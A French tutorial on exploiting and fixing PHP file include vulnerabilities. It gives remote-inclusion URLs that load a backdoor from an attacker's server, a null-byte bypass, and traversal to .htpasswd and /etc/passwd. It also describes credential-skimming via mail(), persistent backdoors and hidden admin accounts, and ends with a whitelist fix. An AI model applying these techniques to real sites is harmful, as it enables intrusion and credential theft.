La faille Include

Ghosts In The Stack
http://www.ghostsinthestack.org

TranceFusion

Résumé

La faille Include est certainement la faille PHP la plus connue. Elle n'est pas liée à une vulnérabilité dans une fonction spéciale, mais est due (comme beaucoup de failles en PHP) à une erreur de programmation commise par un développeur peu soucieux en matière de sécurité. Nous allons voir en détails comment exploiter ce type de faille, en partant du plus simple, vers des exemples plus complexes.

Table des matières

1 Exemples - Principe de base

1.1 Include()

La faille Include touche comme son nom l'indique les fonctions du type **include()**. Ce type de fonction (comme require(), include(), include_once()) a pour objectif d'*inclure un fichier et d'exécuter* son contenu sur le serveur.

Imaginez par exemple que vous disposez d'un site avec une centaine de pages. Sur ce site, un certain nombre d'éléments sont fixes, dans le sens où ils ne changent pas quelque soient les pages ; par exemple le menu, le haut et le bas de page, etc. Si jamais vous voulez modifier ne serait-ce qu'une entrée dans le menu, vous allez devoir modifier le menu de chaque page afin que tous les menus de toutes les pages correspondent. Soit une centaine de pages à éditer à chaque mise à jour, aussi petite soit-elle...

Ne vous suicidez pas tout de suite ! Car justement, la fonction include() est là pour ça. Elle va vous permettre de n'avoir qu'une seule page à modifier, et toutes les pages de votre site l'incluront. Comment faire ? Vous créez un fichier menu.php dans lequel vous placez votre menu, puis dans chaque page PHP vous placez un appel include('menu.php') à l'endroit où le menu doit apparaître. Sympa, non ?

1.2 La faille

Rappelez-vous bien qu'Include() fait deux choses : tout d'abord elle "rapatrie" le code contenu dans le fichier passé en paramètre, puis elle **l'exécute**. C'est justement l'exécution de ce code, liée à une autre subtilité, qui va constituer la faille.

En effet, imaginez l'appel suivant sur une page index.php :

```
<?
if(isset($_GET['page']))
   include($_GET['page']);
else
   include('default.php');
?>
```

Ce bout de code regarde si la variable "page" est contenue dans l'URL, et si c'est le cas, elle inclut le fichier de même nom que le contenu de la variable. Sinon, elle inclut une page par défaut. Par exemple, si vous appelez :

```
index.php?page=test.php
```

Le script incluera (et exécutera) la page "test.php". Jusqu'ici, rien de bien compliqué.

Maintenant, plaçons nous dans la peau d'un visiteur malveillant. Imaginons qu'il se soit rendu compte de la présence d'un appel à'Include() par un quelconque moyen, et qu'il peut contrôler (comme c'est le cas ici) le paramètre passé. S'il appelle la page :

```
index.php?page=http://www.google.fr
```

Alors Google s'affichera sur le site ! En effet, une subtilité d'include() permet d'inclure des pages ne se trouvant pas sur le même serveur que la page appelante !

A présent, le visiteur peut inclure n'importe quelle page. Elle sera de toute façon exécutée sur le serveur. Dans ce cas, il peut très bien placer une page PHP qu'il a fait lui même sur son serveur personnel, et l'inclure ! Imaginez que cette page en question soit une backdoor... L'inclusion se fera de la même manière, et il disposera d'une backdoor sur le site vulnérable ! Il pourra alors lister tous les fichiers, les éditer, en créer, accéder à la base de données, etc... Nous y reviendrons en temps voulu.

2 Techniques d'exploitation

2.1 Méthode classique : Inclusion d'une backdoor

La technique de base est celle que nous avons abordée dans le paragraphe précédent, à savoir l'inclusion d'une backdoor en PHP. Nous allons maintenant voir quelques détails techniques.

Tout d'abord, nous supposons que la faille a été détectée, et qu'elle permette l'inclusion de n'importe quelle page (avec n'importe quelle extension). Nous supposons également que nous disposons d'une backdoor. Comme n'importe quelle backdoor peut être utilisée, nous pouvons nous contenter juste pour tester d'une simple page contenant <? echo "Hello World";?>. La variable vulnérable peut avoir n'importe quel nom, aussi nous continuerons de l'appeler "page" afin de simplifier.

Maintenant, il ne nous reste plus qu'à placer notre backdoor sur notre serveur préféré, et à l'inclure... Mais il ne faut pas oublier un détail crucial ! En effet, si jamais notre backdoor a pour extension .php et si nous la plaçons sur notre serveur qui exécute le PHP, puis que nous tentons de l'inclure sur le serveur vulnérable, elle sera exécutée non pas par le serveur vulnérable, mais par le serveur qui l'héberge (le notre !). Il y a donc deux solutions :

- Soit nous renommons notre backdoor avec une extension non exécutée, par exemple .txt.
- Soit nous plaçons notre backdoor sur un serveur n'exécutant pas le PHP. C'est assez rare, mais ça existe par exemple certains serveurs de pages perso gratuites comme Orange). une autre solution est d'utiliser un serveur FTP, qui autorise un accès en anonyme. Créer le sien n'est pas dur ; certains logiciels gratuits et libres permettant de le faire assez facilement.

Quelque soit la solution choisie, nous appelons http ://notre-serveur.com/backdoor.txt l'URL de notre backdoor (si elle est sur un serveur FTP, remplacez évidemment http :// par ftp :// et indiquez le login/pass de manière habituelle).

Et voila ! Nous pouvons donc appeler la page vulnérable de cette manière :

```
index.php?page=http://notre-serveur.com/backdoor.txt
```

Et nous verrons notre backdoor s'afficher.

2.2 Variante : Technique du null byte

Maintenant que nous savons exploiter une include() de façon simple, corsons la situation. Imaginons que le code vulnérable est désormais celui-ci :

```
<?
if(isset($_GET['page']))
   include($_GET['page'] . ".php");
else
   include('default.php');
?>
```

Ici, l'extension ".php" est automatiquement rajoutée à la variable. Cela force donc noter backdoor à avoir une extension .php. Nous devons donc, en théorie, nous trouver un serveur n'exécutant pas PHP pour placer notre backdoor, sinon cela ne marchera pas.

Finalement, il existe une solution pour contourner ce problème : la technique de l'octet nul (null byte en Anglais). Cela consiste à rajouter l'extension voulue de notre backdoor (.txt en l'occurence) et à placer un caractère spécial qui va perturber la fonction. Ce caractère est le zéro ASCII. Il n'est pas représentable sur cette page :) Comme nous allons le passer dans l'URL, il va falloir l'encoder. Son encodage sera donc "%00" puisque dans une URL, %xx désigne le caractère de valeur ASCII xx en héxadécimal.

En résumé, il faudra donc inclure :

```
index.php?page=http://notre-serveur.com/backdoor.txt%00
```

Mais au fait, pourquoi ctete technique marche-t-elle ? Tout simplement parce que la fonction include() va être traitée (entre autres) par une fonction programmée en langage C. Et en C, on désigne la fin d'une chaîne de caractères par un octet null (\x00 en notation classique). Dans le dernier exemple, le paramètre de la fonction sera : "http ://notre-serveur.com/backdoor.txt\x00.php" puisque ".php" est rajouté automatiquement à la fin. Mais comme \x00 indique la fin de la chaîne de caractère, tout le reste sera tronqué !

Attention, selon les cas cette technique ne marche pas toujours. Cela dépend de la configuration su serveur et des vérifications faites dans le script. Mais rappelons que de toute façon, il suffit de mettre la page sur un serveur n'exécutant pas le PHP pour que cela marche...

Remarque importante : Dans le cas ou une chaîne de caractères est rajoutée *après la variable, on utilise la technique du null byte. Mais si jamais une chaîne est placée avant*, il n'y a (à ma connaissance) aucune technique permettant de bypasser cette protection.

2.3 Inclusion d'un fichier sensible

Jusqu'ici nous n'avons cherché qu'à inclure notre propre page. Mais il est tout à fait possible, avec cette faille, d'inclure un fichier se trouvant sur le serveur vulnérable ! Et d'ailleurs, c'est quelque fois la seule possibilité, car certaines protections désactivent la possibilité d'inclure du code situé sur un autre serveur.

Il est donc faisable d'inclure un fichier contenant des informations sensibles comme des mots de passe. Par exemple, un fichier .htaccess, .htpasswd, ou carrément le fichier /etc/passwd ou même /etc/shadow si les droits le permettent. Mais un serveur ne tourne que très rarement en root, donc ne vous faites pas d'illusion. (Pour ceux qui l'ignorent, le fichier /etc/shadow n'est lisible que par le root)

Note : Il est possible de récupérer des .htpasswd car bien qu'Apache s'en serve pour limiter les accès à un répertoire, il ignore cette protection lorsqu'il s'agit de faire des include() !

En pratique, on essaye de repérer au préalable des zones protégées par des .htpasswd, et on tente de deviner dans quel répertoire ils se trouvent, en testant successivement des paramètres comme "../.htpasswd" ou "../../.htpasswd" ou encore "../dossier/.htpasswd". Là encore, tout dépend de la configuration du serveur.

Ce type de fichier n'est pas le seul que l'on puisse récupérer. On peut tout à fait tenter de récupérer des hashs MD5 ou même des fichiers contenant des mots de passes en clair si le webmaster en a caché...

Une fois les fichiers de mot de passes récupérés, vous pouvez les cracker avec un programme adéquat. Par exemple, Cain, ou John The Ripper. Si vous avez cracké un .htpasswd, vous pourrez alors accéder aux dossiers protégés, et si vous avez cracké un /etc/passwd (ou /etc/shadow) vous aurez le couple user/pass nécessaire pour vous loguer si vous découvrez un accès SSH sur la machine.

3 Des idées de backdoors

Nous avons fait le tour des techniques courantes d'exploitation. Revenons un peu aux backdoors et voyons les possibilités qu'elles nous offrent. Les quelques idées qui suivent devraient vous permettre d'enrichir vos propres backdoors ;)

3.1 Afficher la source

Une des premières choses intéressantes à faire est sûrement d'afficher la source de la page vulnérable (et des autres pages). Cela permet en effet de lire en clair le code PHP des pages et de détecter les éventuelles procédures de sécurité utilsées. Pour lister la source d'ue page, on utilise généralement un appel à show_source('page.php') ;.

C'est aussi dans la source que l'on peut trouver plein d'infos utiles comme par exemple des commentaires contenant des mot de passes, ou même des variables gérant l'accès à une base SQL.

3.2 Lister les dossiers

Afficher l'arborescence du site est également très intéressent. Cela permet de se repérer et d'avoir une vison claire de tous les dossiers, et éventuellement de détecter des fichiers sensibles cachés (du style admin.php ou config.php). Plusieurs techniques existent pour lister le contenu d'un dossier. Je vous ramène au manuel PHP[1] pour en savoir plus car faire un inventaire de toutes les fonctions sortirait largement du cadre de cet article.

3.3 Modifier un fichier pour implanter une bakcdoor permanente

Cette technique est sans doute une arme ultime en ce qui concerne l'exploitation des failles Include(). Elle consiste à utiliser la backdoor pour modifier un fichier PHP utilisé par le site, et y introduire du code malveillant, qui sera donc exécuté à chaque visite du site touché.

Les applictaions sont illimités. Par exemple, si le site dispose d'un accès par login/pass avec formulaire, on peut compromettre la procédure servant à authentifier les personnes ayant tapé leurs identifiants. Il suffit d'y introduire un appel à la fonction mail() qui nous enverra par mail les codes d'accès de chaque visiteur qui se logue sur le site ! Cela permet entre autres de bypasser le fait que les mots de passes soient stockés en crypté dans une base de données, puisqu'il suffira d'attendre qu'un utilisateur se connecte pour recevoir ses identifiants **en clair** par mail... Combinée au SE cette technique peut faire *très* mal...

La condition requise pour utiliser ctete technique est que l'accès en écriture soit possible sur les fichiers voulus, ce qui n'est pas toujours le cas. De plus, il ne faut pas que l'administrateur se rende compte que ses fichiers ont été modifiés, et également qu'il ne fasse pas trop souvent de mise à jour. En effet, s'il met à jour le fichier compromis, la backdoor disparaîtra aussi avec lui.

Encore une fois, les fonctions permettant de modifier les fichiers se trouvent dans la doc PHP, qui est très bien faite et qui contient plein d'exemples.

Note : Une variante consisterait à uploader un fichier PHP sur le serveur et à l'inclure dans toutes les pages... Peut etre plus discret. A voir...

[1] `http://www.php.net/`

3.4 Ajouter un accès

Il est également possible de rajouter une entrée dans la base de données. Cela revient à rajouter un utilisateur supplémentaire (aec les droits maximums si possible), et pourra permettre au hacker de revenir plus tard sur le site uniquement en rentrant les codes d'accès qu'il aura choisi.

Pour ce faire, l'utilisation des fonctions spécifiques à MySQL comme mysql_query() est recommandé.

Là aussi, le webmaster ne devra pas s'aperçevoir de la présence de cet utilisateur supplémentaire, sinon il risque de le supprimer.

Je pense que vous avons vu les principales choses qu'il est possible de réaliser avec une backdoor. Je publierai peut-être dans quelques temps une backdoor afin d'illustrer la théorie que nous venons de voir.

4 Détecter une faille include

Après avoir vu comment exploiter une faille include, voyons un peu comment en détecter la présence.

Cela se fait de manière assez simple. Il suffit, comme lors de chaque audit sécuritaire, de modifier tous les paramètres possibles de l'URL et d'observer le résultat. Le but est de faire planter le script en tentant d'inclure une page qui n'existe pas. L'erreur résultante produira un warning PHP de ce type :

```
[b]Warning[/b]: main([PARAMETRE_INCORRECT]): failed to open stream:
No such file or directory in <[URL_DE_LA_PAGE].php[/b] on line [b][NUMERO_DE_LIGNE][/b]


[b]Warning[/b]: main(): Failed opening '[PARAMETRE_INCORRECT]' for inclusion
(include_path='.:/usr/share/php:/usr/share/pear') in [b][URL_DE_LA_PAGE].php[/b]
on line [b][NUMERO_DE_LIGNE][/b]
```

Avec [PARAMETRE_INCORRECT] la page qu'on a tenté d'inclure mais qui n'existe pas, [URL_DE_LA_PAGE] l'URL de la page, [NUMERO_DE_LIGNE] le numéro de la ligne où se trouve l'include() fautive.

Par conséquent, si vous détectez un message de ce type sur un site, il y a de fortes chances qu'une faille include soit présente... Voici un exemple ; vous tentez d'appeler la page "sdg" avec index.php ?page=sdg, et vous obtenez :

```
[b]Warning[/b]:  main(sdg): failed to open stream: No such file or directory
 in [b]/home/trance/test/test.php[/b] on line [b]2[/b]

[b]Warning[/b]:  main(): Failed opening 'sdg' for inclusion
(include_path='.:/usr/share/php:/usr/share/pear') in
[b]/home/trance/test/test.php[/b] on line [b]2[/b]
```

Alors vous pouvez supposer que index.php comporte include($_GET['page']) ; à la ligne 2.

Bien entendu, la variable fautive ne s'appelle pas toujours "page", aussi devez-vous tester toutes les variables présentes.

Au passage, remarquez que la présence d'une faille include entraine (dans 90% des cas) la présence d'une faille XSS. En effet, on voit apparaître dans le Warning ce que l'on a plaçé dans la variable "page" de l'URL... on peut donc contrôler l'affichage de la page en y insérant un script JavaScript ou tout autre contenu malveillant...

5 Corriger une faille include

Il existe plusieurs façons de corriger la faille.

Premièrement, il faut s'assurer que les pages que l'on inclut sont bien sur notre serveur et non sur un autre. Pour se faire, on peut avoir recours à la fonction file_exists('nom_de_fichier') qui renvoit vrai si le fichier existe sur NOTRE serveur, faux sinon.

Mais cette précaution seule ne suffit pas, puisqu'un attaquant pourra toujours inclure des fichiers .htpasswd ou autre fichiers sensibles. C'est pourquoi je vous conseille fortement de vous constituer un tableau contenant toutes les pages dont l'inclusion est autorisée, et juste avant de fair une inclusion, vous vérifiez la présence de cette page dans le tableau. Pour automatiser tout cela, il est préférable de recoder une fonction "include_secure($page)" qui fait ce travail de manière systématique pour vous. Par exemple :

```
<?
/* Bibliothèque de fonction "bibli.php" à inclure dans toutes les pages */

//Toutes les pages autorisées
$arrayPages = array("index.php","print.php");

//On définit le tableau en tant que variable globale
define("STRINGTAB",implode(",",$arrayPages));

function include_secure($page){

   if(in_array($page,explode(",",STRINGTAB)))   //Si la page est dans le tableau
   {
      include($page);   //On l'inclut
      return true;      //Et on retourne vrai
   }
   else return false;   //Sinon on retourne faux
}
?>
```

Et voiçi un exemple de page qui utilise la fonction :

```
<?
/* Exemple de page "test.php" */

//A inclure au tout début de la page
//permet d'utiliser les fonctions de la bibliothèque

include("bibli.php");


if (isset($_GET['page']))
```

```
{
   if(!include_secure($_GET['page'])) //On tente d'inclure la page passée en paramètre
   {
      //Si ça ne marche pas, alors on arrête tout
      //car c'est sûrement une tentative malveillante !

      die("Erreur, vous n'avez pas le droit d'inclure cette page !");
   }
}
else include('index.php'); //Page à inclure par défaut
?>
```

Ainsi, un appel à test.php ?page=aaaaa échouera, tandis qu'un appel à test.php ?page=print.php marchera.

Voila un exemple complet de sécurisation. Ici, plus besoin du file_exists(), puisque nous avons indiqué nous-même les pages autorisées.

Conclusion

Comme vous pouvez vous en douter, la faille include() est exploitable par beaucoup de méthodes. Tout dépend de votre imagination et de ce que vous souhaitez faire.

Bien que très puissante, elle est encore présente sur un nombre considérable de sites web. Petit à petit, les webmasters prennent conscience de sa gravité et la corrigent... mais pas toujours de la bonne façon, ce qui fait que la faille est toujours là. J'espère qu'après avoir lu ceci, certains webmasters réfléchiront et agiront en conséquence afin d'en finir définitivement avec cette faille.